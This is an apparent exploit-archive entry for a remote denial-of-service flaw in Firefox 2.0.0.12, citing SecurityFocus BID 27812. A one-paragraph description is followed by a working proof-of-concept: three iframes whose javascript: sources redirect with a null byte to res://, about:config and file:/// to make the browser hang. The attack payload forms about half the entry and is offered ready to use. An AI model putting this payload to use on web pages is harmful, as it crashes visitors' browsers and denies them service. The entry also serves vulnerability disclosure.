source: https://www.securityfocus.com/bid/27812/info Mozilla Firefox is prone to a remote denial-of-service vulnerability because of the way the browser handles IFrames. Attackers can exploit this issue to make the browser unresponsive and cause denial-of-service conditions. Firefox 2.0.0.12 is vulnerable; other versions may also be affected. <iframe id="x" src="javascript:document.location='\x00res://'" width="100%" height="200"></iframe> <iframe id="y" src="javascript:document.location='\x00about:config'" width="100%" height="200"></iframe> <iframe id="z" src="javascript:document.location='\x00file:///'" width="100%" height="200"></iframe>